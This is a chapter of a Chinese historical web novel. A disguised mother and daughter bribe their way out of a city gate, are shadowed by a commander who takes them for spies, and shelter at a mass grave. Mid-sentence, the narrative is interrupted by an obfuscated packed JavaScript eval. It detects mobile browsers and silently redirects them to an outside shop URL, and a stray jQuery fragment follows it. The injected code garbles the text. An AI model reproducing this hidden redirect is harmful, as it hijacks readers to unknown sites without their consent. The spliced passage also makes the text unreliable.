在添香居采买完,郁瓷和傅幼恩改道去旅舍。约定的青幡旅舍和胭脂铺开在同一条街,两者相距甚至不超过五丈,步行过去转眼就到了。

    郁瓷开了一间厢房,和傅幼恩一同乔装打扮。她得换一身深色的衣裳,发髻弄乱些,方才买的石黛也得用上。

    “阿娘,快要到申时了。”傅幼恩看着窗外逐渐西斜的金乌。

    郁瓷眉心蹙了下,“这附近有山贼吗?”

    如果附近有贼,她打算出城不久就停下,今晚歇在城门不远处。城关有卫兵守值,肯定能震慑贼寇。

    当然,如果周边没有山贼就更好了。

    “并无山贼。哪个不长眼的敢在凉州军驻守地打家劫舍?除非是活够了,想早些下去见阎王爷。”傅幼恩眼里掠过狐疑,但很快又变作担忧,“阿娘您是否还头疼得慌?”

    郁瓷:“……是有点。”

    傅幼恩忧心忡忡。

    郁瓷摸了摸她的小脑袋,她发觉自己还挺喜欢这个动作的,“除了偶尔想不起一些事,其他的影响不大,不用担心。把东西收一收吧,再在窗旁瞅瞅,等长丘来了咱们就下去。”

    ……

    郁瓷和傅幼恩走出青幡旅舍,与此同时,长丘架着驴车从主街另一端来。

    虽然驴还是那头倔驴,但换了新车舆以后,若非熟人或是有心观察,谁也不会将之与先前的联系起来。

    郁瓷刚走出旅舍,忽地生出一股奇怪的感觉。

    好像,有人在打量她。

    她换了衣裳,脸上抹了东西,甚至连发髻也拆换了,换成最普通那种全裹式的罩帕裹头,和先前已是判若两人。

    郁瓷蹙眉环顾四周,街上行人络绎不绝,结伴游肆的人说说笑笑,注意力在同伴身上。至于小贩们就更不必说了,都忙着吆喝营生呢。

    看了一圈,郁瓷没发觉其他。

    是错觉吗?

    难道是出城在即,要带着便宜崽子在这半生不熟的时代生活的压力带来的错觉?

    郁瓷摇摇头,将杂念抛于脑后。她正欲收回目光,无意中却扫过对面一处半敞的窗牗。

    她对面是茶舍和酒肆,二者皆是复式,不单只有一层铺面。而二楼面向主街的这一侧不设露台,唯有由木质榫卯嵌合的槛窗。

    有的槛窗大敞着,有的完全封闭,还有的只开了半扇,窗叶上的桐油纸随风吹来微微鼓起。而她就这般猝不及防地和半扇窗之后的一双黑眸对了个正着。

    一人仰头,一人垂首。

    一人在街上,一人在楼里。

    彼此间的距离不算近。郁瓷只瞧见那是个头戴黑布软脚幞头,打扮与寻常武夫无二的男人。

    但仅是打扮寻常罢了,那道落在她身上的目光兴致浓郁、存在感十足,甚至还带着一丝审视的威压。

    如芒在背。

    郁瓷怔住,她莫名想起有一年去坦桑尼亚旅游,太阳坠入地平线后天擦黑,她和同伴乘敞篷越野经过草原上一棵如同巨伞般的大树。

    同样是无意一瞥,她看见树上有一双绿油油的眼睛,完全融入暮色中的黑豹静伏在树上,属于顶级猎手的气场顷刻间全开,令人毛骨悚然。

    没想到经年后的今日,她隐隐又体会到这种被狩猎的感觉。

    傅幼恩已上车,见郁瓷迟迟不来,不住唤她。郁瓷回神,若无其事地移开眼登车,“长丘快走!”

    毛驴甩尾,哒哒地往南城门去。

    这辆旧车舆里有股霉味,闻着很不利索,但郁瓷无暇顾及这些,自上车后她便忙翻记忆,试图在记忆碎片中、在犄角旮旯里找到方才那个男人。

    但没有,想到脑袋疼郁瓷都没想起来。

    可能是太久远了,也可能是……

    她以前从未见过他。

    一个陌生人?

    好吧,世界之大无奇不有。说不准他只是来吃茶,碰巧往楼下看,又碰巧看到了她。

    指尖快速点了几下,郁瓷喃喃道:“最好是这样。”

    “阿娘,什么是这样?”傅幼恩往旁边挪,几乎又要埋在母亲的怀抱里,“这样是哪样呀?”

    郁瓷拎住小姑娘的后颈,拎猫似的把她捋正了,“坐好,怎的和只土拨鼠似的,就想找个地方钻。”

    “我都好久好久没见到阿娘了嘛……”傅幼恩垂下眼睛。

    郁瓷以为她在撒娇,便没说什么。

    在毛驴的哒哒声中,车驾来到了南城门。如今是申时,进出城的人没有午时多,但也不少,进城排一队,出城再排一队。着短身布甲的守城卫同样分两队,左边检查入城,右边检查出城。

    和前朝不同,大荣实行道、州、县的三级制,阖国上下共十五道,州有三百多个;至于县,那就更多了,足有一千五百多个。

    而云淮县则是这芸芸城镇中,微不足道的其中之一,别说前一百名,就是连中间段都没能排上。

    地方小,且又不是什么险要关卡,守城卫难免生出懈怠。出城的看一眼,进城的看两眼,如果被偷偷塞了银钱,连看一眼都可省了。

    确实不合规。

    但这种事嘛,是老早就有的“传统”,你得方便,我赚小钱,双赢之事何乐而不为?

    驴车慢慢往前,终于来到了城门口。

    长丘从前座跳下,带着讨喜的笑走向城卫,迅速塞了把钱过去,“兵长,我家恩主今儿不慎误了启程的时辰,还请兵长行个方便。”

    手上沉甸甸的,士卒也笑了。

    像这类乘车的,一般要查看车内。但特事特办,兵卒很上道地将手上的长戟朝后挪,意为“过去吧”。

    长丘点头哈腰谢过,快步跳上驴车。

    车驾缓缓驶出城门。

    傅幼恩掀开车帘,看着不断后退的景色,眼睛很亮,“阿娘,我们出城了!”

    出城了。

    她和阿娘离傅立德又远了一些,只要彻底逃离那个万恶之源,前世的种种都会改变。

    兴奋难掩,傅幼恩变得活泼了些,话也多了。郁瓷单手支着脑袋,懒洋洋的、有一句没一句地应着身旁小姑娘。

    车中人不知晓,她们出城时有一支状似行商的队伍远远跟着。

    “主子,她们行的是贿赂之道,没有验过所。呵呵,这是狐狸尾巴露出来了!”有人兴奋道。

    ……

    随着金乌西坠,天幕渐暗,原先披着金纱的辽阔天地换上了黑衣,飞鸟还巢,换昼伏夜出的兽类外出捕食。

    出城后,官道上起初不止郁瓷一行,但旅人速度各有不同,有的步行,有的骑驴,也有的驾驴车和拖家带口。因此半个时辰不到,郁瓷附近只剩下一队人。

    长丘以指叩了叩身后的车舆,而后才低声道:“夫人,不知是否小子的错觉,后面那支行商有些不对劲。”

    “这话怎么说?”郁瓷直起身。她在车厢里,能见左右却看不见前后。

    长丘小声说,“他们骑的是马,方才官道拐弯时小子往后瞧了眼,见他们没带多少行囊,却一直在我们后面。”

    马匹的速度远胜于驴,他们又是轻装上阵,这都快日落了,为何不快马加鞭赶路,而要慢悠悠晃荡在她们后方?

    若是平时,长丘绝不会留意这事,但夫人和小娘子是逃家出来的,他心里那根弦从离开傅府后就没松过。

    郁瓷第一反应是傅家,不过很快又推翻了。傅家人认得长丘,不会浪费时间。

    “夫人,咱们如何是好?”长丘没了主意。

    郁瓷想了想,“这附近有荒坟地吗?”

    长丘怔了怔,“有的,夫人您……”

    “改道去荒坟地,再瞧瞧后面的人是否还跟。”郁瓷说。

    宁可野宿荒坟,不可夜居古庙。旧庙是一个蛊盒,收容了流民、强盗和恶徒,他们彼此厮杀,最凶狠的那个占地为王。

    郁瓷可不想去趟那浑水。

    至于旁的地方,她怕夜里撞上其他人,也怕有心之人见她们势弱起歹念……

    长丘应声,在前方的岔路改道去乱葬岗。走过一段后,他回首再看,而这次没看到那队人马了。

    呼,原来是虚惊一场。

    *

    不远处的后方。

    “这回吐蕃倒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919581|213414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会挑人,专挑些不起眼的女郎,看来是好好琢磨过的,想着强就是弱,弱就是强……哈哈!他们察觉到了,这些细作还挺警惕。”雷万钧勒马停在原地。

    崔观棋摇首不赞同,“我们做的如此明显,若这都看不出来,他们多半是普通旅人而非细作。”

    雷万钧摩拳擦掌,“既然是细作,那别和他们客气了,快快去抓人。把人一抓,再上大刑伺候,保管他们会将知晓的东西吐得干干净净。”

    崔观棋侧头看身旁的玄袍男人,“主子,接下来该如何?”

    天已擦黑,最后一线天光隐入地平线,暗色将骑于高头大马上的男人完全浸没,乍一看他宛若一座轮廓雄峻的高山。他闻言开口说:“稍后再跟上去,若她今夜没和旁人接头,直接抓了。”

    赵崇京当年驻守陇右道时,也曾在外族里发展过暗桩,因此深谙此道。

    有些细作会选择大隐于市,挑人多之处接头。但模样特征太过另类、比如一瞧就知非我族类的则是例外,这类细作与中间人碰头只能避开人群。

    哪儿人少就往哪儿钻,力求周边无旁人。

    ……

    云淮的乱葬岗比郁瓷想象中的还要恐怖不少。她以为乱葬岗就是一片荒地,上面长着窸窸窣窣的草,撑死了再有几个大小不一的土包。

    但实际上,地上不仅有坟包,还依稀能见森白的骨头碎片。

    今夜天公不作美,乌云遮月,凉风阵阵,吹得荒坟周边的林木飒飒作响,枝叶阴影彼此交织,显出几分鬼影幢幢的可怖。

    天上偶尔掠过一道黑影,秃鹫的怪叫在头顶徘徊,经久不散。

    七岁前的郁瓷天不怕地不怕,敢一个人摸黑去厨房,撬开橱柜淘猪油渣吃。七岁后的郁瓷虽然讨厌黑暗、不喜狭隘,却是个彻头彻尾的无神论者。

    不过想起自己的前世今生,这世上有无鬼神,郁瓷觉得真不好说,总之心生敬畏。

    现在听着一声又一声的秃鹫啼鸣,她双臂不由冒起鸡皮疙瘩。

    乱葬岗有鬼吗?

    好嘛,就算有,但她和他们无冤无仇,她不过来贵地边缘借宿一晚,又不坑蒙拐骗,不至于找上她吧……

    “阿娘您莫怕。”一只小手伸过来,握住了郁瓷冰凉的手掌。

    傅幼恩一本正经地说,“能被丢到乱葬岗来的人,身上财物早在之前就被收刮干净,连最细心的恶徒都不能在死者身上搜出一个铜板。此地不会有人来,咱们撑死了只能遇上一两条年老脱群的野狼。”

    谁料此话方落,不远处密集的树丛里响起一声狼嚎。

    傅幼恩:“……”

    郁瓷嘴角抽了抽:“你这张嘴有点学问。”

    傅幼恩不是很懂,但咽了口吐沫后继续安慰母亲,“阿娘,孤狼体瘦,定不敢贸然行动。我们今夜歇在车中,用短匕将车帘钉住作屏风,勉强凑合一宿,肯定能无事。”

    而后她又去唤长丘,“长丘,你别在外面了,快进来!”

    这辆旧车和之前的大小相当,但比之后者,它可空荡多了,唯有一张长及左右两端的木椅罢了,再容一人并非不能。

    长丘忙应声,“驴不能一晚上都拉着车,我把驴卸了就进去。”

    林中的狼嚎突然变了调,仿佛是被更高一级的大型猛兽一口咬住了脖子,只能从收窄的喉管里发出不成调的哀嚎。

    三人皆是大震。

    郁瓷僵硬地转头看向傅幼恩,小姑娘显然还记得她方才那句“肯定能无事”,她小脸垮了垮,张嘴欲言,但一只柔软的素手却更快一步,直接把她捏成小鸭子嘴,不让她说了。

    郁瓷:“你不许再说了。”

    强行封口后,郁瓷掀开少许帏帘往外看。

    此时夜风更猛,竟硬生生将连片的乌云推远了不少,圆月初显。月华撒在寂寥的坟包上,落在鬼影幢幢的林叶中,只添了一两分的光亮,再无其他。

    正是借着这浅淡的光,偷偷张望的郁瓷眼瞳猝地收紧。

    不对,远处的好像不是猛兽。是人,有其他人来了乱葬岗!

    而来者,还具备屠狼之力。